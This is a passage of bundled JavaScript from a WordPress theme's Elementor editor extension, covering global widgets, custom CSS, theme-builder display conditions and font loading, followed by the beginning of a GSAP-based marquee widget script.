					} ), n.model.set( "label", o ), n.model.set( "options", i ), n.render(), t.$el.find( ".elementor-repeater-row-tools" ).hide(), t.$el.find( ".elementor-repeater-row-controls" ).removeClass( "elementor-repeater-row-controls" ).find( ".elementor-control" ).css( {paddingBottom: 0} )
				} ), e.$el.find( ".elementor-button-wrapper" ).remove(), e.children.length && e.$el.show()
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 0 );
		e.exports = i.extend( {
			onElementorPreviewLoaded: function () {
				var e = n( 29 );
				this.editButton = new e
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		e.exports = function () {
			var e = this;
			e.onPanelShow = function ( t ) {
				var n = t.content.currentView.collection.findWhere( {name: "template_id"} );
				e.templateIdView = t.content.currentView.children.findByModelCid( n.cid ), e.templateIdView.elementSettingsModel.on( "change", e.onTemplateIdChange ), e.templateIdView.on( "render", e.onTemplateIdChange )
			}, e.onTemplateIdChange = function () {
				var t = e.templateIdView.elementSettingsModel.get( "template_id" ), n = e.templateIdView.$el.find( ".elementor-edit-template" );
				if ( t ) {
					var i = ElementorConfig.home_url + "?p=" + t + "&elementor";
					n.length ? n.prop( "href", i ) : (
						n = jQuery( "<a />", {
							target: "_blank",
							class: "elementor-button elementor-button-default elementor-edit-template",
							href: i,
							html: '<i class="fa fa-pencil" /> ' + PenciElementorConfig.i18n.edit_template
						} ), e.templateIdView.$el.find( ".elementor-control-input-wrapper" ).after( n )
					)
				} else {
					n.remove()
				}
			}, e.init = function () {
				elementor.hooks.addAction( "panel/open_editor/widget/template", e.onPanelShow )
			}, e.init()
		}
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 0 );
		e.exports = i.extend( {
			onElementorInit: function () {
				var e = n( 31 );
				this.customCss = new e
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		e.exports = function () {
			var e = this;
			e.init = function () {
				elementor.hooks.addFilter( "editor/style/styleText", e.addCustomCss ), elementor.settings.page.model.on( "change", e.addPageCustomCss ), elementor.on( "preview:loaded", e.addPageCustomCss )
			}, e.addPageCustomCss = function () {
				var e = elementor.settings.page.model.get( "custom_css" );
				e && (
					e = e.replace( /selector/g, elementor.config.settings.page.cssWrapperSelector ), elementor.settings.page.getControlsCSS().elements.$stylesheetElement.append( e )
				)
			}, e.addCustomCss = function ( e, t ) {
				var n = t.getEditModel().get( "settings" ).get( "custom_css" );
				return n && (
					e += n.replace( /selector/g, ".elementor-element.elementor-element-" + t.model.id )
				), e
			}, e.init()
		}
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 0 );
		e.exports = i.extend( {
			globalModels: {}, panelWidgets: null, templatesAreSaved: !0, addGlobalWidget: function ( e, t ) {
				t = _.extend( {}, t, {categories: [], icon: elementor.config.widgets[t.widgetType].icon, widgetType: t.widgetType, custom: {templateID: e}} );
				var n = this.createGlobalModel( e, t );
				return this.panelWidgets.add( n )
			}, createGlobalModel: function ( e, t ) {
				var n = new elementor.modules.elements.models.Element( t ), i = n.get( "settings" );
				return n.set( "id", e ), i.on( "change", _.bind( this.onGlobalModelChange, this ) ), this.globalModels[e] = n
			}, onGlobalModelChange: function () {
				this.templatesAreSaved = !1
			}, setWidgetType: function () {
				elementor.hooks.addFilter( "element/view", function ( e, t ) {
					return t.get( "templateID" ) ? n( 33 ) : e
				} ), elementor.hooks.addFilter( "element/model", function ( e, t ) {
					return t.templateID ? n( 34 ) : e
				} )
			}, registerTemplateType: function () {
				elementor.templates.registerTemplateType( "widget", {
					showInLibrary: !1, saveDialog: {title: soledadElementor.translate( "global_widget_save_title" ), description: soledadElementor.translate( "global_widget_save_description" )}, prepareSavedData: function ( e ) {
						return e.widgetType = e.content[0].widgetType, e
					}, ajaxParams: {success: this.onWidgetTemplateSaved.bind( this )}
				} )
			}, addSavedWidgetsToPanel: function () {
				var e = this;
				e.panelWidgets = new Backbone.Collection, _.each( soledadElementor.config.widget_templates, function ( t, n ) {
					e.addGlobalWidget( n, t )
				} ), elementor.hooks.addFilter( "panel/elements/regionViews", function ( t ) {
					return _.extend( t.global, {view: n( 35 ), options: {collection: e.panelWidgets}} ), t
				} )
			}, addPanelPage: function () {
				elementor.getPanelView().addPage( "globalWidget", {view: n( 37 )} )
			}, getGlobalModels: function ( e ) {
				return e ? this.globalModels[e] : this.globalModels
			}, saveTemplates: function () {
				if ( Object.keys( this.globalModels ).length ) {
					var e = [], t = this;
					_.each( this.globalModels, function ( t, n ) {
						if ( "loaded" === t.get( "settingsLoadedStatus" ) ) {
							var i = {content: JSON.stringify( [t.toJSON( {removeDefault: !0} )] ), source: "local", type: "widget", id: n};
							e.push( i )
						}
					} ), e.length && elementorCommon.ajax.addRequest( "update_templates", {
						data: {templates: e}, success: function () {
							t.templatesAreSaved = !0
						}
					} )
				}
			}, setSaveButton: function () {
				elementor.saver ? (
					elementor.saver.on( "before:save:publish", _.bind( this.saveTemplates, this ) ), elementor.saver.on( "before:save:private", _.bind( this.saveTemplates, this ) )
				) : elementor.getPanelView().footer.currentView.ui.buttonSave.on( "click", this.saveTemplates.bind( this ) )
			}, requestGlobalModelSettings: function ( e, t ) {
				elementor.templates.requestTemplateContent( "local", e.get( "id" ), {
					success: function ( n ) {
						e.set( "settingsLoadedStatus", "loaded" ).trigger( "settings:loaded" );
						var i = n.content[0].settings, o = e.get( "settings" );
						elementor.history && elementor.history.history.setActive( !1 ), o.handleRepeaterData( i ), o.set( i ), t && t( e ), elementor.history && elementor.history.history.setActive( !0 )
					}
				} )
			}, setWidgetContextMenuSaveAction: function () {
				elementor.hooks.addFilter( "elements/widget/contextMenuGroups", function ( e, t ) {
					var n = _.findWhere( e, {name: "save"} ), i = _.findWhere( n.actions, {name: "save"} );
					return i.callback = t.save.bind( t ), delete i.shortcut, e
				} )
			}, onElementorInit: function () {
				this.setWidgetType(), this.registerTemplateType(), this.setWidgetContextMenuSaveAction()
			}, onElementorFrontendInit: function () {
				this.addSavedWidgetsToPanel()
			}, onElementorPreviewLoaded: function () {
				this.addPanelPage(), this.setSaveButton()
			}, onWidgetTemplateSaved: function ( e ) {
				elementor.history && elementor.history.history.startItem( {title: elementor.config.widgets[e.widgetType].title, type: soledadElementor.translate( "linked_to_global" )} );
				var t = elementor.templates.getLayout().modalContent.currentView.model, n = t.collection.indexOf( t );
				elementor.templates.closeModal(), e.elType = e.type, e.settings = t.get( "settings" ).attributes;
				var i = this.addGlobalWidget( e.template_id, e ).attributes;
				t.collection.add( {id: elementor.helpers.getUniqueID(), elType: i.type, templateID: i.template_id, widgetType: "global"}, {at: n}, !0 ), t.destroy();
				var o = elementor.getPanelView();
				o.setPage( "elements" ), o.getCurrentPageView().activateTab( "global" ), elementor.history && elementor.history.history.endItem()
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i, o = elementor.modules.elements.views.Widget;
		i = o.extend( {
			globalModel: null, className: function () {
				return o.prototype.className.apply( this, arguments ) + " elementor-global-widget elementor-global-" + this.model.get( "templateID" )
			}, initialize: function () {
				var e = this, t = e.model.get( "previewSettings" ), n = e.getGlobalModel();
				if ( t ) {
					n.set( "settingsLoadedStatus", "loaded" ).trigger( "settings:loaded" );
					var i = n.get( "settings" );
					i.handleRepeaterData( t ), i.set( t, {silent: !0} )
				} else {
					var r = n.get( "settingsLoadedStatus" );
					r || (
						n.set( "settingsLoadedStatus", "pending" ), soledadElementor.modules.globalWidget.requestGlobalModelSettings( n )
					), "loaded" !== r && e.$el.addClass( "elementor-loading" ), n.on( "settings:loaded", function () {
						e.$el.removeClass( "elementor-loading" ), e.render()
					} )
				}
				o.prototype.initialize.apply( e, arguments )
			}, getGlobalModel: function () {
				return this.globalModel || (
					this.globalModel = soledadElementor.modules.globalWidget.getGlobalModels( this.model.get( "templateID" ) )
				), this.globalModel
			}, getEditModel: function () {
				return this.getGlobalModel()
			}, getHTMLContent: function ( e ) {
				return "loaded" === this.getGlobalModel().get( "settingsLoadedStatus" ) ? o.prototype.getHTMLContent.call( this, e ) : ""
			}, serializeModel: function () {
				var e = this.getGlobalModel();
				return e.toJSON.apply( e, _.rest( arguments ) )
			}, edit: function () {
				elementor.getPanelView().setPage( "globalWidget", "Global Editing", {editedView: this} )
			}, unlink: function () {
				var e = this.getGlobalModel();
				elementor.history.history.startItem( {title: e.getTitle(), type: soledadElementor.translate( "unlink_widget" )} );
				var t = new elementor.modules.elements.models.Element( {
					elType: "widget",
					widgetType: e.get( "widgetType" ),
					id: elementor.helpers.getUniqueID(),
					settings: elementor.helpers.cloneObject( e.get( "settings" ).attributes ),
					defaultEditSettings: elementor.helpers.cloneObject( e.get( "editSettings" ).attributes )
				} );
				this._parent.addChildModel( t, {at: this.model.collection.indexOf( this.model )} );
				var n = this._parent.children.findByModelCid( t.cid );
				this.model.destroy(), elementor.history && elementor.history.history.endItem(), n.edit && n.edit(), t.trigger( "request:edit" )
			}, onEditRequest: function () {
				elementor.getPanelView().setPage( "globalWidget", "Global Editing", {editedView: this} )
			}
		} ), e.exports = i
	}, function ( e, t, n ) {
		"use strict";
		e.exports = elementor.modules.elements.models.Element.extend( {
			initialize: function () {
				this.set( {widgetType: "global"}, {silent: !0} ), elementor.modules.elements.models.Element.prototype.initialize.apply( this, arguments ), elementorFrontend.config.elements.data[this.cid].on( "change", this.onSettingsChange.bind( this ) )
			}, initSettings: function () {
				var e = this.getGlobalModel(), t = e.get( "settings" );
				this.set( "settings", t ), elementorFrontend.config.elements.data[this.cid] = t, elementorFrontend.config.elements.editSettings[this.cid] = e.get( "editSettings" )
			}, initEditSettings: function () {
			}, getGlobalModel: function () {
				var e = this.get( "templateID" );
				return soledadElementor.modules.globalWidget.getGlobalModels( e )
			}, getTitle: function () {
				var e = this.getSetting( "_title" );
				e || (
					e = this.getGlobalModel().get( "title" )
				);
				var t = soledadElementor.translate( "global" );
				return (
					       e = e.replace( new RegExp( "\\(" + t + "\\)$" ), "" )
				       ) + " (" + t + ")"
			}, getIcon: function () {
				return this.getGlobalModel().getIcon()
			}, onSettingsChange: function ( e ) {
				e.changed.elements || this.set( "previewSettings", e.toJSON( {removeDefault: !0} ), {silent: !0} )
			}, onDestroy: function () {
				var e = elementor.getPanelView(), t = e.getCurrentPageName();
				- 1 !== ["editor", "globalWidget"].indexOf( t ) && e.setPage( "elements" )
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		e.exports = elementor.modules.layouts.panel.pages.elements.views.Elements.extend( {
			id: "elementor-global-templates", getEmptyView: function () {
				return this.collection.length ? null : n( 36 )
			}, onFilterEmpty: function () {
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = elementor.modules.layouts.panel.pages.elements.views.Global;
		e.exports = i.extend( {template: "#tmpl-elementor-panel-global-widget-no-templates", id: "elementor-panel-global-widget-no-templates", className: "elementor-nerd-box elementor-panel-nerd-box"} )
	}, function ( e, t, n ) {
		"use strict";
		e.exports = Marionette.ItemView.extend( {
			id: "elementor-panel-global-widget",
			template: "#tmpl-elementor-panel-global-widget",
			ui: {editButton: "#elementor-global-widget-locked-edit .elementor-button", unlinkButton: "#elementor-global-widget-locked-unlink .elementor-button", loading: "#elementor-global-widget-loading"},
			events: {"click @ui.editButton": "onEditButtonClick", "click @ui.unlinkButton": "onUnlinkButtonClick"},
			initialize: function () {
				this.initUnlinkDialog()
			},
			buildUnlinkDialog: function () {
				var e = this;
				return elementorCommon.dialogsManager.createWidget( "confirm", {
					id: "elementor-global-widget-unlink-dialog",
					headerMessage: soledadElementor.translate( "unlink_widget" ),
					message: soledadElementor.translate( "dialog_confirm_unlink" ),
					position: {my: "center center", at: "center center"},
					strings: {confirm: soledadElementor.translate( "unlink" ), cancel: soledadElementor.translate( "cancel" )},
					onConfirm: function () {
						e.getOption( "editedView" ).unlink()
					}
				} )
			},
			initUnlinkDialog: function () {
				var e;
				this.getUnlinkDialog = function () {
					return e || (
						e = this.buildUnlinkDialog()
					), e
				}
			},
			editGlobalModel: function () {
				var e = this.getOption( "editedView" );
				elementor.getPanelView().openEditor( e.getEditModel(), e )
			},
			onEditButtonClick: function () {
				var e = this, t = e.getOption( "editedView" ).getEditModel();
				"loaded" !== t.get( "settingsLoadedStatus" ) ? (
					e.ui.loading.removeClass( "elementor-hidden" ), soledadElementor.modules.globalWidget.requestGlobalModelSettings( t, function () {
						e.ui.loading.addClass( "elementor-hidden" ), e.editGlobalModel()
					} )
				) : e.editGlobalModel()
			},
			onUnlinkButtonClick: function () {
				this.getUnlinkDialog().show()
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 0 );
		e.exports = i.extend( {
			onElementorInit: function () {
				elementor.channels.editor.on( "section:activated", this.onSectionActivated )
			}, onSectionActivated: function ( e, t ) {
				var n = t.getOption( "editedElementView" );
				if ( "flip-box" === n.model.get( "widgetType" ) ) {
					var i = - 1 !== ["section_side_b_content", "section_style_b"].indexOf( e );
					n.$el.toggleClass( "elementor-flip-box--flipped", i );
					var o = n.$el.find( ".elementor-flip-box__back" );
					i && o.css( "transition", "none" ), i || setTimeout( function () {
						o.css( "transition", "" )
					}, 10 )
				}
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 0 );
		e.exports = i.extend( {
			config: soledadElementor.config.shareButtonsNetworks, networksClassDictionary: {google: "fa fa-google-plus", pocket: "fa fa-get-pocket", email: "fa fa-envelope"}, getNetworkClass: function ( e ) {
				return this.networksClassDictionary[e] || "fa fa-" + e
			}, getNetworkTitle: function ( e ) {
				return e.text || this.config[e.button].title
			}, hasCounter: function ( e, t ) {
				return "icon" !== t.view && "yes" === t.show_counter && this.config[e].has_counter
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 0 );
		e.exports = i.extend( {
			onElementorInit: function () {
				var e = n( 41 );
				this.assets = {font: new e}
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		e.exports = elementor.modules.Module.extend( {
			_enqueuedFonts: [], _enqueuedTypekit: !1, onFontChange: function ( e, t ) {
				"custom" !== e && "typekit" !== e || - 1 === this._enqueuedFonts.indexOf( t ) && (
				"typekit" === e && this._enqueuedTypekit || this.getCustomFont( e, t )
				)
			}, getCustomFont: function ( e, t ) {
				soledadElementor.ajax.addRequest( "assets_manager_panel_action_data", {
					data: {service: "font", type: e, font: t}, success: function ( e ) {
						e.font_face && elementor.$previewContents.find( "style:last" ).after( '<style type="text/css">' + e.font_face + "</style>" ), e.font_url && elementor.$previewContents.find( "link:last" ).after( '<link href="' + e.font_url + '" rel="stylesheet" type="text/css">' )
					}
				} ), this._enqueuedFonts.push( t ), "typekit" === e && (
					this._enqueuedTypekit = !0
				)
			}, onInit: function () {
				elementor.channels.editor.on( "font:insertion", this.onFontChange.bind( this ) )
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 0 );
		e.exports = i.extend( {
			onElementorPreviewLoaded: function () {
				var e = n( 43 );
				this.commentsSkin = new e
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		e.exports = function () {
			var e = this;
			e.onPanelShow = function ( e, t ) {
				var n = t.get( "settings" );
				n.controls._skin.default || n.set( "_skin", "theme_comments" )
			}, e.init = function () {
				elementor.hooks.addAction( "panel/open_editor/widget/post-comments", e.onPanelShow )
			}, e.init()
		}
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 0 );
		e.exports = i.extend( {
			onElementorInit: function () {
				elementor.addControlView( "Conditions_repeater", n( 45 ) ), elementor.hooks.addFilter( "panel/footer/behaviors", this.addFooterBehavior ), this.initConditionsLayout()
			}, addFooterBehavior: function ( e ) {
				if ( soledadElementor.config.theme_builder ) {
					var t = n( 47 );
					e.saver = {behaviorClass: t}
				}
				return e
			}, saveAndReload: function () {
				elementor.saver.saveAutoSave( {
					onSuccess: function () {
						elementor.dynamicTags.cleanCache(), elementor.reloadPreview()
					}
				} )
			}, onApplyPreview: function () {
				this.saveAndReload()
			}, onPageSettingsChange: function ( e ) {
				e.changed.preview_type && (
					e.set( {preview_id: "", preview_search_term: ""} ), this.updatePreviewIdOptions( !0 )
				), _.isUndefined( e.changed.page_template ) || elementor.saver.saveAutoSave( {
					onSuccess: function () {
						elementor.reloadPreview(), elementor.once( "preview:loaded", function () {
							elementor.getPanelView().setPage( "page_settings" )
						} )
					}
				} )
			}, updatePreviewIdOptions: function ( e ) {
				var t = elementor.settings.page.model.get( "preview_type" );
				if ( t ) {
					t = t.split( "/" );
					var n = elementor.getPanelView().getCurrentPageView(), i = n.collection.findWhere( {name: "preview_id"} );
					if ( "author" === t[1] ? i.set( {filter_type: "author", object_type: "author"} ) : "taxonomy" === t[0] ? i.set( {filter_type: "taxonomy", object_type: t[1]} ) : "single" === t[0] ? i.set( {filter_type: "post", object_type: t[1]} ) : i.set( {
						filter_type: "",
						object_type: ""
					} ), !0 === e ) {
						var o = n.children.findByModel( i );
						o.render(), o.$el.toggle( !!i.get( "filter_type" ) )
					}
				}
			}, onElementorPreviewLoaded: function () {
				soledadElementor.config.theme_builder && (
					elementor.getPanelView().on( "set:page:page_settings", this.updatePreviewIdOptions ), elementor.settings.page.model.on( "change", this.onPageSettingsChange.bind( this ) ), elementor.channels.editor.on( "elementorThemeBuilder:ApplyPreview", this.onApplyPreview.bind( this ) ), setTimeout( function () {
						elementor.$previewContents.find( "html, body" ).animate( {scrollTop: elementor.$previewContents.find( "#elementor" ).offset().top - elementor.$preview[0].contentWindow.innerHeight / 2} )
					}, 500 )
				)
			}, showConditionsModal: function () {
				var e = n( 48 ), t = soledadElementor.config.theme_builder, i = t.settings, o = new elementor.modules.elements.models.BaseSettings( i, {controls: t.template_conditions.controls} );
				this.conditionsLayout.modalContent.show( new e( {model: o, controls: o.controls} ) ), this.conditionsLayout.showModal()
			}, initConditionsLayout: function () {
				var e = n( 50 );
				this.conditionsLayout = new e
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 46 );
		e.exports = elementor.modules.controls.Repeater.extend( {
			childView: i, updateActiveRow: function () {
			}, initialize: function () {
				elementor.modules.controls.Repeater.prototype.initialize.apply( this, arguments ), this.config = soledadElementor.config.theme_builder, this.updateConditionsOptions( this.config.settings.template_type )
			}, checkConflicts: function ( e ) {
				var t = e.get( "_id" ), n = "elementor-condition-id-" + t, i = "elementor-conditions-conflict-message-" + t, o = jQuery( "#" + i );
				jQuery( "#" + n ).removeClass( "elementor-error" ), o.remove(), soledadElementor.ajax.addRequest( "theme_builder_conditions_check_conflicts", {
					unique_id: n, data: {condition: e.toJSON( {removeDefaults: !0} )}, success: function ( e ) {
						_.isEmpty( e ) || jQuery( "#" + n ).addClass( "elementor-error" ).after( '<div id="' + i + '" class="elementor-conditions-conflict-message">' + e + "</div>" )
					}
				} )
			}, updateConditionsOptions: function ( e ) {
				var t = this, n = t.config.types[e].condition_type, i = {};
				_( [n] ).each( function ( e, n ) {
					var o = t.config.conditions[e], r = {label: o.label, options: {}};
					r.options[e] = o.all_label, _( o.sub_conditions ).each( function ( e ) {
						r.options[e] = t.config.conditions[e].label
					} ), i[n] = r
				} );
				var o = this.model.get( "fields" );
				o[1].default = n, "general" === n ? o[1].groups = i : o[2].groups = i
			}, togglePublishButtonState: function () {
				var e = soledadElementor.modules.themeBuilder.conditionsLayout.modalContent.currentView.ui, t = e.publishButton, n = e.publishButtonTitle;
				this.collection.length ? (
					t.addClass( "elementor-button-success" ), n.text( elementor.translate( "publish" ) )
				) : (
					t.removeClass( "elementor-button-success" ), n.text( soledadElementor.translate( "save_without_conditions" ) )
				)
			}, onRender: function () {
				this.ui.btnAddRow.text( soledadElementor.translate( "add_condition" ) );
				var e = this;
				this.collection.each( function ( t ) {
					e.checkConflicts( t )
				} ), _.defer( this.togglePublishButtonState.bind( this ) )
			}, onRowControlChange: function ( e ) {
				this.checkConflicts( e )
			}, onRowUpdate: function () {
				elementor.modules.controls.Repeater.prototype.onRowUpdate.apply( this, arguments ), this.togglePublishButtonState()
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		e.exports = elementor.modules.controls.RepeaterRow.extend( {
			template: "#tmpl-elementor-theme-builder-conditions-repeater-row", childViewContainer: ".elementor-theme-builder-conditions-repeater-row-controls", id: function () {
				return "elementor-condition-id-" + this.model.get( "_id" )
			}, onBeforeRender: function () {
				var e = this.collection.findWhere( {name: "sub_name"} ), t = this.collection.findWhere( {name: "sub_id"} ), n = this.config.conditions[this.model.attributes.sub_name];
				e.attributes.groups = this.getOptions(), n && n.controls && _( n.controls ).each( function ( e ) {
					t.set( e ), t.set( "name", "sub_id" )
				} )
			}, initialize: function () {
				elementor.modules.controls.RepeaterRow.prototype.initialize.apply( this, arguments ), this.config = soledadElementor.config.theme_builder
			}, updateOptions: function () {
				(
				this.model.changed.name && this.model.set( {sub_name: "", sub_id: ""} ), this.model.changed.name || this.model.changed.sub_name
				) && (
					this.model.set( "sub_id", "" ), this.collection.findWhere( {name: "sub_id"} ).set( {type: "select", options: {"": "All"}} ), this.render()
				);
				this.model.changed.type && this.setTypeAttribute()
			}, getOptions: function () {
				var e = this, t = e.config.conditions[this.model.get( "name" )];
				if ( t ) {
					var n = {"": t.all_label};
					return _( t.sub_conditions ).each( function ( t, i ) {
						var o, r = e.config.conditions[t];
						r && (
							r.sub_conditions.length ? (
								(
									o = {label: r.label, options: {}}
								).options[t] = r.all_label, _( r.sub_conditions ).each( function ( t ) {
									o.options[t] = e.config.conditions[t].label
								} ), n["key" + i] = o
							) : n[t] = r.label
						)
					} ), n
				}
			}, setTypeAttribute: function () {
				var e = this.children.findByModel( this.collection.findWhere( {name: "type"} ) );
				e.$el.attr( "data-elementor-condition-type", e.getControlValue() )
			}, onRender: function () {
				var e = this.collection.findWhere( {name: "name"} ), t = this.collection.findWhere( {name: "sub_name"} ), n = this.collection.findWhere( {name: "sub_id"} ), i = this.children.findByModel( e ), o = this.children.findByModel( t ), r = this.children.findByModel( n ),
					l = this.config.conditions[this.model.attributes.name], s = this.config.conditions[this.model.attributes.sub_name], a = this.config.types[this.config.settings.template_type];
				a.condition_type !== i.getControlValue() || "general" === i.getControlValue() || _.isEmpty( l.sub_conditions ) || i.$el.hide(), (
					                                                                                                                                !l || _.isEmpty( l.sub_conditions ) && _.isEmpty( l.controls ) || !i.getControlValue() || "general" === i.getControlValue()
				                                                                                                                                ) && o.$el.hide(), s && !_.isEmpty( s.controls ) && o.getControlValue() || r.$el.hide(), "singular" === a.condition_type && "" === o.getControlValue() && o.setValue( "post" ), this.setTypeAttribute()
			}, onModelChange: function () {
				elementor.modules.controls.RepeaterRow.prototype.onModelChange.apply( this, arguments ), this.updateOptions()
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = elementor.modules.components.saver.behaviors.FooterSaver;
		e.exports = i.extend( {
			ui: function () {
				var e = i.prototype.ui.apply( this, arguments );
				return e.menuConditions = "#elementor-panel-saver-conditions", e.buttonPreviewSettings = "#elementor-panel-footer-theme-builder-button-preview-settings", e.buttonOpenPreview = "#elementor-panel-footer-theme-builder-button-open-preview", e
			}, events: function () {
				var e = i.prototype.events.apply( this, arguments );
				return delete e["click @ui.buttonPreview"], e["click @ui.menuConditions"] = "onClickMenuConditions", e["click @ui.buttonPreviewSettings"] = "onClickButtonPreviewSettings", e["click @ui.buttonOpenPreview"] = "onClickButtonPreview", e
			}, initialize: function () {
				i.prototype.initialize.apply( this, arguments ), elementor.settings.page.model.on( "change", this.onChangeLocation.bind( this ) )
			}, onRender: function () {
				i.prototype.onRender.apply( this, arguments );
				var e = jQuery( "<div>", {id: "elementor-panel-saver-conditions", class: "elementor-panel-footer-sub-menu-item", html: '<i class="elementor-icon fa fa-paper-plane"></i><span class="elementor-title">' + soledadElementor.translate( "display_conditions" ) + "</span>"} );
				this.ui.menuConditions = e, this.toggleMenuConditions(), this.ui.saveTemplate.before( e ), this.ui.buttonPreview.tipsy( "disable" ).html( jQuery( "#tmpl-elementor-theme-builder-button-preview" ).html() ).addClass( "elementor-panel-footer-theme-builder-buttons-wrapper elementor-toggle-state" )
			}, toggleMenuConditions: function () {
				this.ui.menuConditions.toggle( !!soledadElementor.config.theme_builder.settings.location )
			}, onChangeLocation: function ( e ) {
				_.isUndefined( e.changed.location ) || (
					soledadElementor.config.theme_builder.settings.location = e.changed.location, this.toggleMenuConditions()
				)
			}, onClickMenuConditions: function () {
				soledadElementor.modules.themeBuilder.showConditionsModal()
			}, onClickButtonPublish: function () {
				var e = soledadElementor.config.theme_builder.settings.conditions.length, t = soledadElementor.config.theme_builder.settings.location, n = "draft" === elementor.settings.page.model.get( "post_status" );
				e && !n || !t ? i.prototype.onClickButtonPublish.apply( this, arguments ) : soledadElementor.modules.themeBuilder.showConditionsModal()
			}, onClickButtonPreviewSettings: function () {
				var e = elementor.getPanelView();
				e.setPage( "page_settings" ), e.getCurrentPageView().activateSection( "preview_settings" ), e.getCurrentPageView()._renderChildren()
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 49 );
		e.exports = i.extend( {
			id: "elementor-theme-builder-conditions-view", template: "#tmpl-elementor-theme-builder-conditions-view", childViewContainer: "#elementor-theme-builder-conditions-controls", ui: function () {
				var e = i.prototype.ui.apply( this, arguments );
				return e.publishButton = "#elementor-theme-builder-conditions__publish", e.publishButtonTitle = "#elementor-theme-builder-conditions__publish__title", e
			}, events: {"click @ui.publishButton": "onClickPublish"}, templateHelpers: function () {
				return {title: soledadElementor.translate( "conditions_title" ), description: soledadElementor.translate( "conditions_description" )}
			}, childViewOptions: function () {
				return {elementSettingsModel: this.model}
			}, onClickPublish: function ( e ) {
				var t = this, n = jQuery( e.currentTarget ), i = this.model.toJSON( {removeDefault: !0} );
				e.stopPropagation(), n.attr( "disabled", !0 ).addClass( "elementor-button-state" ), soledadElementor.ajax.addRequest( "theme_builder_save_conditions", {
					data: i, success: function () {
						soledadElementor.config.theme_builder.settings.conditions = t.model.get( "conditions" ), elementor.saver.publish()
					}, complete: function () {
						t.afterAjax( n )
					}
				} )
			}, afterAjax: function ( e ) {
				e.attr( "disabled", !1 ).removeClass( "elementor-button-state" ), soledadElementor.modules.themeBuilder.conditionsLayout.modal.hide()
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		e.exports = elementor.modules.views.ControlsStack.extend( {
			activeTab: "content", activeSection: "settings", initialize: function () {
				this.collection = new Backbone.Collection( _.values( this.options.controls ) )
			}, filter: function ( e ) {
				if ( "section" === e.get( "type" ) ) {
					return !0;
				}
				var t = e.get( "section" );
				return !t || t === this.activeSection
			}, childViewOptions: function () {
				return {elementSettingsModel: this.model}
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = elementor.modules.components.templateLibrary.views.BaseModalLayout;
		e.exports = i.extend( {
			getModalOptions: function () {
				return {id: "elementor-conditions-modal"}
			}, getLogoOptions: function () {
				return {title: soledadElementor.translate( "display_conditions" )}
			}, initialize: function () {
				i.prototype.initialize.apply( this, arguments ), this.showLogo()
			}
		} )
	}
] );PK     1w\,A6  6    elementor/assets/js/marquee.jsnu [        (function ($, elementor) {
	var debounce = function (func, wait, immediate) {
		// 'private' variable for instance
		// The returned function will be able to reference this due to closure.
		// Each call to the returned function will share this common timer.
		var timeout;
	  
		// Calling debounce returns a new anonymous function
		return function () {
		  // reference the context and args for the setTimeout function
		  var context = this,
			args = arguments;
	  
		  // Should the function be called now? If immediate is true
		  //   and not already in a timeout then the answer is: Yes
		  var callNow = immediate && !timeout;
	  
		  // This is the basic debounce behaviour where you can call this
		  //   function several times, but it will only execute once
		  //   [before or after imposing a delay].
		  //   Each time the returned function is called, the timer starts over.
		  clearTimeout(timeout);
	  
		  // Set the new timeout
		  timeout = setTimeout(function () {
			// Inside the timeout function, clear the timeout variable
			// which will let the next execution run when in 'immediate' mode
			timeout = null;
	  
			// Check if the function already ran with the immediate flag
			if (!immediate) {
			  // Call the original function with apply
			  // apply lets you define the 'this' object as well as the arguments
			  //    (both captured before setTimeout)
			  func.apply(context, args);
			}
		  }, wait);
	  
		  // Immediate mode and no wait timer? Execute the function..
		  if (callNow) func.apply(context, args);
		};
	  };
	$(window).on("elementor/frontend/init", function () {
		let ModuleHandler = elementorModules.frontend.handlers.Base,
			ListMarquee;

		ListMarquee = ModuleHandler.extend({
			bindEvents: function () {
				this.run();
			},
			getDefaultSettings: function () {
				return {
					allowHTML: true,
				};
			},

			onElementChange: debounce(function (prop) {
				if (prop.indexOf("marquee_") !== -1) {
					this.run();
				}
			}, 400),

			settings: function (key) {
				return this.getElementSettings("marquee_" + key);
			},

			run: function () {
				let isElementorEditor = elementorFrontend.isEditMode();
				if (isElementorEditor) {
					return;
				}
				const widgetID = this.$element.data("id");
				var self = this;
				var options = this.getDefaultSettings();
				var $container = this.$element.find(".penci-marquee-el");

				if (!$container) {
					return;
				}

				let advancedOptions =
					self.settings("advanced") === "yes" ? true : false;

				if (advancedOptions) {
					$("body").css("overflow-x", "hidden");
				}

				var widgetContainer = ".elementor-element-" + widgetID;

				let boxes = gsap.utils.toArray(
					widgetContainer + " .marquee-content"
				);
				// Function to check if boxes width is less than container width, if so clone boxes to fill it
				const ensureFullWidth = (boxes) => {
					let totalBoxWidth = boxes.reduce(
						(total, box) => total + box.offsetWidth,
						0
					);
					// if totalBoxwidth is 0 then return
					if (totalBoxWidth == 0) {
						return boxes;
					}
					let screenWidth = window.innerWidth;
					// Clone boxes if the total width is less than the container width
					while (totalBoxWidth < screenWidth) {
						boxes.forEach((box) => {
							const clone = box.cloneNode(true); // Clone the box
							box.parentNode.appendChild(clone); // Append the clone to the container
						});
						boxes = gsap.utils.toArray(
							widgetContainer + " .marquee-content"
						); // Update boxes array
						totalBoxWidth = boxes.reduce(
							(total, box) => total + box.offsetWidth,
							0
						); // Recalculate total width
					}

					return boxes;
				};

				// Ensure that boxes fill the container width
				boxes = ensureFullWidth(boxes);

